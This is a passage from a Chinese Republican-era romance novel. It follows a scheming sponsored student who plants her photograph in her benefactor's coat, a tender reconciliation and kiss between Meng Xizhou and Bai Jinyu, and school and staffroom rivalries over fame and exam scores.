心道:不过几个小职员罢了,一个月也就是大几十块钱的收入,哪里配得上我的宝莲?瞧瞧那天那一位顶气派的先生,什么也不图,二话不说就要出钱送我闺女上学去哩!指不定我的宝莲,就是要飞上枝头做凤凰的命呀! 是以对那些勤恳又普通的先生,一个也瞧不上。 姚大娘瞧不上,姚宝莲这个天天往外跑的,自然更瞧不上了。 她起先还有些担心呢,那些算术国文,她真是一句话也听不懂,考试分数可想而知是一片惨淡。可这样一份成绩单交出去,第二个月照样有生活费可拿,交过几次后,她便彻底放心了。一旦没了压力,那颗心便飘飘然浮荡起来。 于是妆也化得,同学间的聚会活动也去得,连价位不高的跳舞厅,都和女同学结伴着去过一次。在跳舞厅里,倒认识了一个做生意的老板,这和小小职员可不一样,兜里有钱,出手也阔绰,第一天就买了个粉镜盒做礼物。姚宝莲垂涎这件精巧的玩意儿很久了,自然爱不释手。 这年头有钱又大方的男人可不好找,样貌差点不要紧,年纪大点也无妨了,年纪轻轻的,还挣不到这一份殷实的家财呢。 姚宝莲心里一万个乐意,她看出对方很爱文化人那种清高矜持的姿态,便极力地拿着腔调欲擒故纵,既不殷勤,也不拒绝,一来二去,两人便有了首尾。哪知还来不及窃喜,便来了个晴天霹雳,那黄老板家里头,竟是有正房太太的! 那黄老板满不在乎道:“我们自管在北京过逍遥日子,那婆娘远在江西,理她作甚?嘿,就是委屈你,那一本结婚证书恐怕是批不下来了,而且酒席若办得太隆重,风声传到江西去也不好。不如简单摆一场酒,隔天便接你去住我的大洋楼?” 姚宝莲心里真气得呕血,恨自己从前穷惯了,一下见到个阔气的,就被钱迷了眼,没有打听清楚,就把自己给出去了。以前便罢了,如今自己高低是个新时代有知识的女学生,哪儿能给人做小? 然转念一想,自己先前推拒几次,这黄老板便一下冷淡不少,料想要是不和他亲热一回把人拴住,这只快煮熟的鸭子,指不定就从手里飞走了!再有,时下的社会是很保护学生的,自己不说或是矢口否认,谁会知道呢?即便是知道了,凭如今社交公开的环境,自己又是受到欺骗的弱势角色,一点□□上的关系,又能怎样呢? 便将怒火咽下,转而做出楚楚可怜的姿态,噙着眼泪道:“好哇!你昨天竟都是哄骗我的吗?我一个清清白白的女孩子,就因为对你心生爱慕,把贞操都献给你了,却连一本结婚证书都换不到,这叫我情何以堪?”说着,伏在枕头上默默哭起来。 她这一哭,端的是娇柔万分,把那黄老板给心疼坏了,手上摸着她细滑的皮肤,心里便更加动摇。思忖一番后道:“好!我那婆娘虽凶悍,趁此机会和她离婚,也不是不行!我老黄家能娶一个念过书的女学生,也是脸上有光的事,只是这件事急不得,你可得等一等。” 姚宝莲抽泣道:“好,我总愿意再信你一回。不过我一个女孩子,还是看重名声的,为避嫌疑,在你离婚之前,我们还是尽量别见面的好。你只记得,我在苦等着你就行了。” 那眼泪成串地往下掉,任黄老板指天誓地,又一连抽出好几张钞票给她花用,才算是把她哄住了。 至此,姚宝莲虽暂时不去搭理黄老板,却把他当作底牌似的捏在手里,自去过她轻松自在的学校生活。恰逢那阵子有新的流行,凡女学生,都喜欢在衬衣口袋里别一支自来水笔,再戴一副玳瑁眼镜,显示出做学问的干练端庄。 人家有的,姚宝莲看了眼馋,自然也想要。只是眼镜和自来水笔都是最新的时髦,价格未必便宜,姚大娘悭吝惯了,估计不愿意出;用自己私藏的钱买,势必也要被问东问西,母女两个一合计,这两样东西都是读书需要的呀,何不向那位“贵人”讨一讨? 于是下一次寄送成绩单的时候,连带捎去一张字条,又多要了十块钱,说是用来置办学习用品。 母女二人原不抱什么希望的,盖因那公子哥来过一次之后就再没现身,即便和跑腿送钱的听差打听,也是一个字也不透露。哪里想得到,一张字条送过去,竟然真的多得了十块钱! 姚大娘捧着钱,说是喜出望外也不为过了,一面抱怨自己太老实,早知道贵人这样好说话,老早就可以多提些要求了!一面又对宝莲狎促道:“你瞧,不过写了一行字,钱就来了。他真对你没意思吗?不能够吧?” 将那两张五元的钞票,宝贝似的捏在手里,翻来翻去看个不停。 姚宝莲心里也是一喜,却并不立刻显露在脸上,只说:“妈,别瞎说。他要是真有意思,怎么人不过来呢?” 姚大娘答不出来,再看女儿似乎是不为所动的样子,恨铁不成钢地放沉了脸色,尖刻道:“看你这副死样子,身子给了那姓黄的,心也跟着过去了吗?要我说,一样是做小,倒还不如给那贵人做小,光是那模样气派,十个姓黄的也抵不上!” 见姚宝莲听到“做小”后不大乐意地撇了撇嘴,冷哼道:“你可别觉得委屈,做小怎么了?低人一等吗?那也得看是给谁做小!你别看现在提倡什么男女平等一夫一妻,那些有钱有权的,多得是在外头组建小家庭哩!你再看那些当小老婆的,不照样住洋房开洋车、饭不愁衣不缺吗?还不用跟家里的大太太碰面,有什么不好?呵!且把眼光放长远些吧!” 姚宝莲心里自有计较,不耐烦听别人念叨,当下站起身来,一把抽走姚大娘手里的钞票,笑了一声道:“既然钱拿到了,我去买东西了。” 不等姚大娘来夺,又说:“字条上可是写明了要买眼镜和自来水笔的,你想,万一那贵人下回心血来潮来看看咱们,设若没看到这两样东西,让人家怎么想?”姚大娘觉得这话也有道理,只好随她去了。 姚宝莲揣着钱,只管美美地进店挑选,买了玳瑁边眼镜和自来水笔不算,余下的钱,又狠狠心买了一只红珊瑚的玫瑰花发夹。心想:贵人要是真来了,总得有一件十分为自己添色的首饰才行,这一件就不错。 竟是已经开始为孟西洲“万一”的来访,做起准备来了。 回去想想仍觉得不够牢靠,和姚大娘商量后,定下一个计划来。等下一回听差的再来时,只姚大娘一人开了门,恭敬地把装了成绩单的信封递了出去。那听差随口问道:“贵府小姐不在家吗?” 姚大娘讪笑着:“是是,今天学校里办活动呢,咱们宝莲考学差一点,对于学校活动是很积极的。” 那人也不多问,点点头走了。他的车正停在距离北油车弄不远处的马路边上,待那听差的坐进车里,车子一发动,斜角里便有另一辆车缓缓冒出头来,远远地跟了上去。 那里头副手座上坐着的,正是去参加学校活动的姚宝莲无疑了。 第50章 第 50 章 先生,这位姚小姐执意要…… “当真吗?啊呀!这真是做梦也料不到的事呀!”姚大娘激动得从座椅上跳将起来, 说是喜出望外也不为过了,随即又讪讪地拿胳膊肘撞了撞女儿,道:“嗐, 我先前还嫌你租辆洋车太过破费, 这真是为娘的不是, 想那皇宫一样的地方, 开一辆破车过去像什么话!” 姚宝莲矜持地扯了扯嘴角, 实则心里也卷着惊涛骇浪,回想她一个钟头前在车里瞥见那座大宅子时,何尝不是惊叹得屏息?那样漂亮辽阔的洋房,雪白的砖墙像在太阳光底下闪着光似的, 她这辈子都未曾见过哩! 当时当刻, 那心思又活络起来:黄老板说住什么“小洋楼”, 是怎样一个“小”法?和今天那座宫殿似的大房子相比如何?不要是一个天上一个地下吧?那可有什么住头? 转念一想,心里又生出怨气来:这贵人到底什么意思?连住的地方都如此豪奢, 却只肯给她一个月三十块的生活费。三十块钱够做什么?恐怕都不够他在番菜馆吃一顿饭吧!哼!遑论这年头的公子哥, 哪怕是养一个天桥上清唱的小姑娘, 都远不是这个数哩! 她不去想孟西洲的三十块钱救她脱出了苦海, 只想到对方吝啬,明明有钱, 却只肯漏下一两个子儿, 所谓贪心不足, 不过如此了。 然姚大娘和她是一路货色, 才刚瞥见金山一角,便卯着劲儿地煽动起来,“你瞧!我说的住洋房开洋车,这话没有说错吧?何况贵人待你不同哩, 设若你巴结一点,穿金戴银也是有的!” 其实,也不必她去说动,姚宝莲自己已经动摇了。 于是第二天便去城东新开的照相馆照了张小相,特意多付了两块钱让学工描成彩色的,等隔了几天相片到手,这才行动起来。 这一日,她特意梳洗打扮,拿新的香胰子洗了脸,又细细敷了一层香粉。早前买的玳瑁边眼镜和红珊瑚发夹一个不落地戴上,身上却穿一套洗得很干净的学生制服,末了又用了一点口红在嘴唇上,打眼看去,真是好一个亭亭玉立的文雅女学生。 姚大娘站在房间外远远看了一眼,抱怨说:“怎么穿得那么素?上回做的那件掐腰身的旗袍就很好,只穿过一次,眼下正好好地收着呢,不如我给你拿出来?” 姚宝莲说:“你懂什么,不要添乱了罢。贵人帮衬咱们,不就是要我读书的吗?我穿着学生的衣服,这才显出不辜负他的心意呢。” 姚大娘搓着手笑道:“对对对,瞧我,真不如你想得深远。”将功补过一般,找来那只装自来水笔的长盒子,递过去道,“快别在衣服口袋上,最好能摘下来给他写一段字,那才腔调十足呢!” 姚宝莲并不搭腔,只对着镜子检视自己,自觉挑不出毛病了,这才满意地一笑,抬脚向外迈去。 上回花大价钱租用洋车,主要还是为保密行事,这一次她是正大光明地拜访,便招了人力车来坐,也显得自己花钱有度。 到了孟公馆的大门口,门房听差自然是不让她进的,姚宝莲也不慌,只说自己来找贾秘书,这个名字,还是她母女俩打着配合各种套话,才从那交接的听差嘴里撬出来的呢。她一副女学生的样子,又表现得从容得体,倒让那门房先生信服了几分。 问她来做什么,姚宝莲道:“有一张单据要交给贾秘书,你就说是一位受贵府帮助的姓姚的女学生,他一准知道的。” 门房于是往公馆里挂了个内线电话,和对面说过几句后,倒真获得了批许,将她放进去了。 这一头,姚宝莲一路往里走,那琳琅满目的花草园艺,阳光底下钻石一般闪着亮光的西式喷泉,大门上镶嵌成图画样式的彩色玻璃,及至到了屋内,那气派的带雕花的海绒沙发,镶金嵌玉的西式壁钟,还要随处可见的精致摆件,真看得人目不暇接。 姚宝莲自认已长进不少了,此刻也有相形见绌之感,哪怕极力维持镇定也难免露怯,小心翼翼地避开长沙发的正中,在靠扶手边的位置坐下了。 另一边,贾秘书也摸不清这位姚小姐是个什么来头:说自家老板看重她吧,他对姚宝莲的事是一概不管,全由自己打理;可说他真不在乎吧,又时不时要来问一句人家是不是好好读着书。但要说孟西洲和这女学生之间有什么首尾,他是一万个不相信的,自己这位老板近来和白小姐正是你侬我侬哩,他还从没见过孟老板如此心情愉快过,瞧着就是情场得意的样子。 是以在门房挂了电话来,说有位姓姚的女学生找他时,他思索片刻,还是让人放行了。且看看她有什么事吧,不由分说地把人拒之门外,他还真不好交代。 贾秘书专负责孟公馆内的事务,说来也算半个管家,办公室就辟在公馆一楼的一处房间。等他来到客厅时,正看见一个女学生正襟危坐着,眼睛却四处打量的样子。走上前询问道:“是姚小姐吗?” 那女学生吓了一跳似的,扭过头来,冲他羞涩地一笑。 离得近了才发现,这位姚小姐虽穿了学生的制服,却实则涂脂抹粉,哪里都透着追求时髦的意思,并没有学生的样子。再看她脸上戴的那一副眼镜,想必也是出于美丽,并不是为了读书。贾秘书见过的人何其之多,早练就一双火眼金睛,联想到那一张张惨不忍睹的成绩单,也就了然于心了。 客气道:“有什么事,让听差捎个口信就行了,何必亲自跑一趟。对了,姚小姐怎么知道我们公馆的地址?” 姚宝莲当然不能说是尾随来的,只好避重就轻,文文静静地微笑道:“哪里的话,我是有事想和孟先生商量呢,何况这几个月来得了贵府许多帮助,亲自来道一声谢,那是很应当的。” 从姚宝莲一开口,她心里有什么算盘,贾秘书便已猜到了个七七八八,当下生出警惕来,面上却不动声色,严谨道:“门房说你有一份单据给我,在哪里呢?既然你人也来了,有什么事就和我说吧,姚小姐的事向来是我全权负责,行与不行,我自会判断。” 由听差们的态度就能看出来,贾秘书是很有分量的人物,又他说话明确笃定,自己也不好讨价还价地歪缠,不然岂不成了菜市场里讨价还价的泼妇? 只好拿出事先准备好的女子教会学堂组织唱诗班的声明,表示自己有意向加入一个,但还是要征求资助人的同意,“说是涉及洋人的宗教,许多中国人不大喜欢的,到底是孟先生替我出的学费,要是冲撞了东家,这就不好了。” 贾秘书把薄薄一张纸在手上翻了一翻,皮笑肉不笑道:“哪里的话,上课读书的是姚小姐,姚小姐自己决定就好。没有什么事的话,我送姚小姐出去吧?” 好不容易来了,哪有没见到人就走的道理?姚宝莲脸上的笑容瞬间僵硬几分,坚持道:“孟先生不在吗?我对他铭感五内,既然来了,总要亲自道一个谢。要是由人转达,实在不能够表示诚意。” 看来今天,不让她见到人是不行了。 贾秘书看了眼怀表,现在正是十一点差一刻钟,便说:“好吧,孟老板大约十一点半回来,姚小姐要是执意要见他,还得等一等了。”说着,却并不走开,而是在对角一把单人沙发椅上坐下,竟是要守在一旁监视她哩! 在贾秘书,确实有监视的意思,这也不怪他,谁让这位姚小姐实在不像是心思正派的样子。自己要是一走开,她胆子大了,东走西逛,顺走孟老板的东西可怎么好? 放在从前还好说,可如今孟老板这里,大概有不少白小姐的东西哩。譬如上回,他不就拿着一对绿颜色的耳环把玩吗?有一件就有两件三件,卧室和书房当然不会放闲杂人等进去,可谁知道人把东西放在哪里呢?哪怕是白小姐随手给他买的小玩意儿,要是不见了,少不了自己要被问责。 与此同时,姚宝莲也是心急如焚。 她可是特意带了自己的彩色相片来的,本想着说自己有事要谈,总能被请去书房坐一坐,趁人不留意的时候将小相放进抽屉或是夹进笔记本里,等贵人不经意间看见了,不正可以借此想一想自己吗? 想不到人家根本没有请她去书房的意思哩!姚宝莲顿时怨气丛生,连中途借口去一趟盥洗室,也有一个女佣人全程陪同,如此严防死守,哪里还有下手的机会? 至此,她对这个姓贾的秘书已是极大的不满,可就此离开呢,又很不甘心,只好对峙一般硬耗着。又过了小一刻钟,只听外头传来一阵刹车的声响,姚宝莲心里一松,一丛喜色先就爬上了嘴角。 随后大门一开一阖,一道潇洒挺拔的身影风一般卷了进来,不是下雨那天见过的贵人是谁? 他在玄关处挂衣服时便留意到客厅有人,因有贾秘书陪坐在一边,便以为是秘书自己的客人,于是并不在意。刚要径自走开,却听贾秘书喊住自己道:“先生,这位姚小姐执意要求见一见你,已经久候了。” 孟西洲起先一愣,心道,我哪里认识什么姚小姐?但余光一瞥见那人身上的学生服,便又想了起来,下一秒目光如箭,直往来人的脸上看去。 50-60 第51章 第 51 章 这一双手分明是捧着我的…… 大概一个人的境遇改变了, 面相也会跟着发生一点变化,又或者是姚宝莲开始往脸上涂脂抹粉的缘故,原本和白瑾瑜的两分相识, 也大都被这层脂粉气给冲淡了, 以至于孟西洲辨认她的时候, 颇费了一番功夫。 但那略显矫揉的表情不是由和白瑾瑜相似的脸上做出来, 多少让孟西洲觉得舒坦些。 本来么, 他也不关心姚宝莲书念得好坏,只是既然资助了人家,总希望她能知道上进,学一点用以立身的知识技能, 然而就贾秘书偶尔的汇报可以知道, 姚宝莲的成绩实在有些不堪入目。是学而不会还是压根不学, 在分数上总归可以感受得到,故而他对这个姚小姐也没有什么耐心。 此刻看她脸上还架着副眼镜, 做一副学究的样子, 忍不住开口道:“姚小姐真这样用功吗?才读了几个月书, 就把眼睛读坏了?” 姚宝莲被他拿话一刺, 抿出的微笑随即便僵在嘴边,心道:是了, 我每次的小考分数可都是要上交的, 自己学成什么样子, 她心里当然有数, 这是在讽刺她装腔作势吗?好不给人面子! 要是在学校或聚会上有人说这样的话,姚宝莲早就将面孔板起来了,可偏偏是这位财大气粗的贵人,只得极力调整了神态, 讪讪道:“哪里,我脑子笨,哪怕自己再用功,功课上还是一窍不通。” 孟西洲也不愿花时间同她周旋,只点了一点头就要走开,想不到姚宝莲又喊了一声“孟先生”,抬手将一绺碎发绕到耳后,羞赧地笑了笑,显然这才要步入正题呢。 旁边的贾秘书却不给她发挥的余地,言简意赅地插话道:“姚小姐这次来,是为请示要加入学校的唱诗班,我已和姚小姐说了,都由她自己决定。之所以久呆着不走,是为当面对孟先生道一句感谢。” 孟西洲便客气又干脆地说:“感谢的话就不必了,你真觉得感激,把书念好了就行。我还有事要办,就不久陪了。”向边上的贾秘书示意道,“这里偏远,送送姚小姐吧。” 这样一来一回之间,和贵人的会面就告结束了,姚宝莲反倒成了被撇在一边的那个。不要说多谈几句话,连相片都没着落呢! 姚宝莲几乎咬碎了银牙,面上却只好做出一副恭顺的样子,由贾秘书领着往外走,同时在心里急转着主意。直到走进了玄关,忽而便福至心灵了:这一件外衣,不正是贵人刚才脱下的吗?她人虽坐在客厅的沙发上,眼睛却是盯牢了他,看得很真切呢! 心想,自己进不去书房,连在客厅坐着都受到监视,还想着没有机会呢,谁承想这机会是近在眼前呀! 赶巧贾秘书又是背过自己走在前面的,姚宝莲便飞快掏出了那张相片,塞进了孟西洲外衣的口袋里。这衣服没有叫人收走,而是挂在衣架上,总是要穿第二次的,不信他发现不了这“玄机”。即便直接叫佣人洗了,佣人在洗之前,还能不翻一下口袋吗?摸出一张女子的小相来,还能不传出一点闲话吗? 空穴来风,未必无因。她正需要这一点闲话哩! 因而虽未跟贵人说上几句话,离开孟公馆时,姚宝莲仍是志得意满的神态。在她看来,自己这一条伏笔,已经是铺设好了,哪里想到这张小相会在一天后割了白瑾瑜的手指呢? 白瑾瑜坐在孟公馆书房的沙发椅子上,听孟西洲讲到这里,大概也明白了,问:“那末,这相片就是那位姚小姐偷偷放的了?” 孟西洲冷着脸道:“除了她,还能有谁呢?东西是她的,且她活动过的范围,统共也就那一片了。” 他冷着脸,未必不是自己受了冤屈,要白瑾瑜来哄的一种表示,只是白瑾瑜显然更关注另一件事,“那位姚小姐,她真和我很像吗?我自己倒不觉得。”同时在心里回想那相片上女子的面貌。 她的记忆力一向很好,往往看过一遍的东西就能记个八九不离十,更不要说那相片是从孟西洲的外衣口袋里找出来的,故而她虽只看了一眼,却几乎印在了脑子里。 孟西洲轻哼了一声:“要说很像,那不至于,只是从某几个角度来看,确有几分神似。我那时想,做皮肉生意的人,你不知她会接触到什么人,兴许就是你生意上的对手呢?你是一位小姐,又和人争利,别人明面上争不过你,背地里要诋毁你,那是绝不留情的。不过也不知什么缘故,我昨天再看她,也觉得和你不像了,大概人的面相就是会变,这倒是一件好事。” 白瑾瑜听他讲到诋毁时,心里忿忿道:我还是吃了做女子的亏,女子要走在这世上,非得比男子十倍百倍地看重名声不可。可转念又觉得,我要真是男子,大概就要视如今做出的成就为平常了吧?不正因为我是女子,才格外从事业中感到一种成就与满足吗?还有一点,多多少少,为这世上广大女子开出一条光明道路的自豪感。 白瑾瑜默默地点了点头,道:“我明白了,你也是出于一份维护我的好心。” 孟西洲得到这一句话,心里已经有一种欣慰,脸上却还是冰冷得很,沉着嘴角为自己叫屈:“可惜这一份好心,差点被你丢在地上踩。”说完,锯了嘴似的,将头撇向一边,不肯看她,也不肯再多说一句话。 白瑾瑜看到他的样子,心里也就明白了,心想,既然是自己错怪了人家,哄一哄也是应当的。便带着一点笑意凑到边上,拉着孟西洲的手握在手心里道:“对不住,是我不好,只是你也该体谅我一朝被蛇咬,对爱情,总有一点狐疑恐惧。你要我怎么做呢?” 她一提到上一段感情,孟西洲的心也跟着被揪紧了似的,心里固然心疼她,却并没有放软姿态,只是被她握住的那只手,牢牢地回握了过去,说:“你那么聪明,不知道该怎么做吗?” 白瑾瑜笑了一声,“你要我哄你吗?”说罢微微俯身,将唇吻印在他因为撇过头而袒露出的侧脸上。 那吻一触即收,只是还没等她站稳,便被人拉着胳膊往下带,回过神来,自己已然坐到了孟西洲的怀里。后者抿着唇恶狠狠地看向自己,说是恶狠狠也不尽然,那眼里分明还有隐忍和诘问,似乎自己但凡有一点反悔的表示,他就要起来发难了。 白瑾瑜垂着眼睫,故意问:“我做得不对吗?你要是不喜欢,我以后不做就是了。” 孟西洲咬着牙关,好像不这样做,就控制不住心里掀起的狂澜似的。他心里又激动又燥热,又混杂一点苦尽甘来的甜蜜,全都涌在喉间烧着,似乎要把体内的水分都烧干了,只能任喉结上下滑动一下,稍作缓解。 他凝视着白瑾瑜的眼睛,一边靠近一边道:“你就是故意气我。我怎么不喜欢?白小姐,好厉害的本事,不如教一教我?” 说到最后,已然只剩下气声,呼吸喷洒在彼此的鼻尖脸上,再稍稍偏头错开位置,便将那花瓣似的嘴唇含住了。 到了这一步,孟西洲已是全凭本能行事,只觉得柔软的唇吻相触的一瞬间,自己的心脏像被电流击中似的酥麻一下,他快速地分开,又忍不住去追逐下一个吻。直到浅吻不够了,便微微开启嘴唇,用舌尖去触碰她的。 可是不够,还是不够。 孟西洲几乎有些急躁了,伸手将怀里的人拥得更近,唇舌再要往里探,却听见一声细弱的呜咽,胸膛也被一条纤细的胳膊抵着,勉力推开。 在他的怀里,白瑾瑜细细地喘着气。 好在他瞧不见自己是怎样一副面红耳赤的样子,不然,怕是当下就要找个借口落荒而逃了。她现在脑子还是一片混陶陶,自己也说不清是怎么回事,从前和柳世新的吻是怎么样的?反正从来也不是这样,觉得自己正在融化,像是烧得正旺的蜡烛,或是被蜡烛加热的一块白脱 要是再不分开,自己就要化完了吧?可是分开了,透过眼里的水气去看孟西洲的脸,怎么又会生出想吻过去的念头呢? 所以在孟西洲又要贴靠过来的时候,白瑾瑜短暂地侧过头避开了。 对方便伸手,将她略微凌乱的鬓发整理到耳后,大手捧着她烫热的脸颊,又吻了吻洁白的耳廓,哑声问:“没有太坏吧?我和他,哪一个更讨你的”话没有完,可略带幽怨紧张的语调,已然将未出口的半句话补全了。听着好可怜。 白瑾瑜恍惚想:这一双手分明是捧着我的脸,怎么倒觉得心像是给人攥紧了呢? 于是重新看向孟西洲,也伸手捧着他的脸,抿着微笑说:“你这样问,不光是看轻我,也把你自己的位置放得太低了。我要是心里放不下姓柳的,又怎么会接受姓孟的?” 孟西洲却望着她,眼里闪烁着一点祈求,就好像在说:这是真话吗?你的一句话,就是对我的一道宣判了! 见他迟疑着启唇,似乎还有什么话要问,那种患失患得的样子太少见了,连白瑾瑜都感到有趣。干脆自己凑了上去,将他的忐忑与踌躇,都堵在了这一个吻里。 第52章 第 52 章 横竖爱情是谈一时得一时…… 白瑾瑜回家的时间, 比白瑾琪稍晚一点,进门换过皮鞋,正撞见白瑾琪哼着歌儿从楼上下来。她自己也是心情不坏, 见状便调侃一句:“一次小演出的成功而已, 值得你这样高兴?” 因为她突然间的出声, 白瑾琪倒吓了一跳, 她心里正想着事情哩! 先前郑家树在路灯底下向她表白, 她当然是答应了!这是我还未去就山,山便来就我了呀!想一想,她不过同郑家树多一点接触,就能叫程巧书气得吹胡子瞪眼, 要是郑家树果真成了她的囊中物, 程巧书从此往后, 还能在她面前神气起来吗? 再有了,和郑家树谈一谈爱情也不亏, 想当初大姐姐和那个姓柳的自由恋爱, 不就是看上他英俊又听话么?尽管那姓柳的狼心狗肺, 但大姐姐挑人的标准总不会有错, 再看这两条标准,郑家树岂不是完全的符合? 横竖爱情是谈一时得一时快乐的东西, 并不强求它有什么结果, 当作这无趣校园生活里的调味剂, 岂不美哉? 白瑾琪自诩是个时髦的小姐, 自觉没必要藏着掖着,可转念一想,今天在星河剧场的时候,大姐姐可没有承认孟先生的男友身份呀。她自己都没有爱情的滋润, 我要是先公布了爱情事迹,她不要不开心吧?或者觉得被年纪小的妹妹抢了先,面子上下不来?大姐姐向来把面子看得很重,我如今正仰仗着她呢,怎能不顾及一点她的感受?还是先不说了吧。 于是水润的黑葡萄似的眼珠一转,笑嘻嘻道:“大姐姐不懂,再小的演出,那也是我的付出得到了回报呀!”说着,往手上的茶杯里倒了满满一杯水,又哼着歌儿回到楼上去了。 白瑾琪一夜好眠,第二天精神焕发地去了学校,想不到同学们对她的态度,都变得亲热推崇了不少。一路上不拘认识的不认识的,都要来搭讪一句:“白同学早!”“白同学演得真好,报纸上都夸你呢!” 等踏进了教室,那更加了不得了。一个女学生高声宣布了一句:“啊哟,我们的大明星来了!” 另一个则拿了今早的报纸举到她面前,其中一页便有半幅报导,上书大字“清江大学戏剧社心系社会,中国式罗朱新话剧大获好评”,不光附上了昨天演出时的谢幕照片,报道中还特别提到男女主人公的扮演者郑先生及白小姐“演技出众,系未来演艺界不可多得之人才”。 那女同学也是放着微笑,说:“不光这一家报社,许多其他小报也有报导哩,你这是为咱们学校,大大的争光了!” 一时间,对她恭维赞美的声音此起彼伏,这中间,程巧书便显得很尴尬了。板着一张脸,势必要受到众人的攻击,只好硬挤出一点笑容,阴阳怪气了一句:“白同学现在是众星捧月的人物了。” 坐在一旁的钱瑞芝眼神闪烁着,不断在两人之间游移。 她此前已经在白瑾琪手上跌过两次跟头,不敢轻易去招惹她,但程巧书既然发话,自己总要显示出支持她的姿态,便也接了一句:“是呀,真像是个贵族小姐一样了。” 就她的本意,即便不能将白瑾琪击倒,也要扎一扎她的痛处,叫她感到难受才好。可她不知道,白瑾琪受了白瑾瑜的开导,早已不将她当一回事了,不过是几句酸溜溜的话罢了,和苍蝇的嗡嗡声又有什么不同? 白瑾琪如今是心不动,则不痛,竟还能大大方方地回她一句:“不敢当,不过确实过了一把当贵族小姐的戏瘾。” 这一下,周围的女同学们反倒都喜爱起她来。觉得白瑾琪此人,虽说读书不是顶好,可跳舞和演戏确实出挑,是以,她身上那股子骄傲的劲头也不是由来无因的呀。何况她人活泼,说话又俏皮,细看下来,似乎也并不难相处。 于是那些女同学们一部分结伴回了自己的座位,一部分依旧围在白瑾琪的桌边谈笑,对比之下,反倒显得程巧书和钱瑞芝那一隅最为冷清了。 钱瑞芝两眼紧盯着白瑾琪,回想当初上中学的时候,自己和妹妹是唯白瑾琪马首是瞻的,白瑾琪是人群的焦点,自己便也时刻沐浴着星光的余晖,何曾有过受冷落的情境?可恨的是,白瑾琪如今都一落千丈了,竟还是能吸引着人去拥护她! 除去眼红嫉妒,还生出一阵懊悔:白瑾琪的热闹光荣,从前总有我的一份,现在我倒向了程巧书,倒是我自己把这光荣给丢掉了! 钱瑞芝心里固然像有爪子抓挠似的难受,这其中也有一丝动摇:不要是我巴结错了人吧? 只是这念头刚生出来,旁边的程巧书便似有所觉一般,扭过头来微笑道:“她们热闹她们的,我们何必去掺一脚?难道戏剧社的大戏,月月都有的排不成?眼看就要期中考试了,我周末一定是要在家温书的,你来不来呢?” 钱瑞芝便被敲了一记警钟似的,将那动摇的心给按住了。心想:我真是糊涂了,在学校里出点风头算什么?程巧书可是实打实有个在交通部任处长的父亲,白瑾琪那个当总长的爹可还在?像自己这样普通家庭的人想要往上走,不抓住实际的利益可不行! 于是只管做出一副不在乎的样子,附和她说:“当然来。你是不走歪门邪道、认真上进的人物,我看她们一个个的,都该向着你学习呢。” 大学里的考试略晚一点,首都第三中学的期中考试却已早早地结束了。算出分数的第二天一早,高年级的各科老师并校长便开起了上半学期的总结大会。 秦校长将写了全年级分数的一张大表拿在手里翻看,一丝不苟的脸上竟放出一点微笑来,点头道:“这一次各个班考得都不坏,但我还是要着重地表扬白老师。四五六这三个班级的洋文水平我很清楚,并不算好,可你们看这一次,三个班的平均分都提高了不少,四班的平均分甚至比三班还要高出两分,这对后进的班级,尤其白老师还是新任的教师而言,是很不容易的。” 她冲白瑾璎点了点头以示肯定,又说:“还有最近举办的外文演讲比赛,除了一班有一位获奖的同学,六班竟也有一位同学拿了奖,尽管拿的是末等奖,那也是从来没有过的事。咱们做老师的意义,不就在于此吗?” 这是很重的一句夸奖了,白瑾璎很不敢当,但她平日里为人谦逊和气,在同事间的风评极好,于是在座的老师们乐得祝贺她,都微笑着鼓动手掌,向她送出一阵掌声。 其实在其他老师看来,这实在也是一件好事。 学校的评级总归要看成绩,可成绩好坏,并不是一科老师可以说了算的。譬如数学老师使了劲儿地教,叫国文拖了后腿,学生的成绩不还是落个中流吗?第三中学向来以洋文为弱势,这下来了个大有作为的洋文老师,等升学考试时再提一提成绩,指不定学校的评级就能上去,招牌打响了,老师的身价自然就水涨船高了。 一荣俱荣,真要说起来,还是他们跟着沾了光哩! 可这一群人中,却不包括另一位教洋文的缪老师,先前秦校长一连夸了白瑾璎两句,他就隐隐有些不服气了:同样是洋文老师,说白老师怎样好,却又不提我,可不是狠狠让我下不来台吗? 同时心里也在气恼,暗骂三班那群蠢货,平时教给他们的知识也不知学到了哪里,还说是个先进班呢,竟然连四班都没有考过,白白让他这个当老师的脸上无光! 缪昌平看着自己记下的洋文平均分,恨得太阳穴都在突突直跳,觉得前三个班级的分数不够高,后三个班级的分数又太高,最好把后三个分数各匀十分给前三个,那样才舒心漂亮。 他一味在妄想里找点安慰,目光落到六班的分数时,像被打了一针强心剂似的精神一振,故作惊讶道:“六班这次竟考得这样好?白老师,不是我多心,是不是忘了把那三个混世魔王的分数算进去了?” 那三个混不吝,次次都是交一张白卷了事,凭白拉低多少分!从前他带着六班的时候,就从不将那三人算入总分。 他提出一句质疑,白瑾璎还没反应过来呢,任教数学的吴老师倒先抢答了,道:“小缪啊,你这回可是小瞧我们六班了,孙立学和梁小山不必去提,徐克行同学如今可是发奋向学了呀。就我知道的,他这次的洋文就考了班里的第一,先前拿了演讲比赛末等奖的,也是他哩!” 因为同教六班的缘故,吴老师颇有与有荣焉之感,再加上向来看不惯缪老师的做派,于是那荣誉里又透出些得意来,对白瑾璎道:“本来那三个人是从不用心读书的,故而我们算平均分时,都会剔除他们再算一次,方便比较其他学生的情况。我看白老师你一向很老实,大概都不知道吧?” 他是个数学家,碰到数字问题便有些手痒,干脆向白瑾璎问了孙立学和梁小山的分数,直接拿起笔算起来,道:“啊呀,把那两人一剔除,六班的平均分和三班也只差一分了!小缪,你可要当心了!” 再看缪昌平,铁青着脸色,竟是连个笑脸也扮不出来了。 第53章 第 53 章 好的珍珠拿到市面上,人…… 话说缪昌平被吴老师当众撅了一句, 那脸色青一阵红一阵,到底没有忍住,冷哼一声道:“吴老师这样说, 是质疑我教的不好了?” 他心里那一股酸气直往上窜, 干脆公开了宣布道:“只是你这一句质疑, 我是绝不领受的。成绩这样东西, 本来也是有起有落, 对比我这三个班级的前几次考试,从没有过明显下滑的情况,总归稳定得很好。何况先进班本身成绩就不低,可以上升的空间, 也就小了。” 他兀自义正严词地一番辩论, 不光是吴老师, 在座几个老教师的心里都很不满。 本来嘛,不过就是一句调侃罢了, 走出了办公室的大门, 谁也不会放在心上的。平时各科老师看他年纪轻, 性格激进一点, 许多地方便都让一让他了;偏偏这缪老师的心眼比针尖还要小,不过说他一句, 对着比自己资历深的吴老师, 都敢摆出“宣战”的架势, 那还得了? 吴老师也是个直肠子, 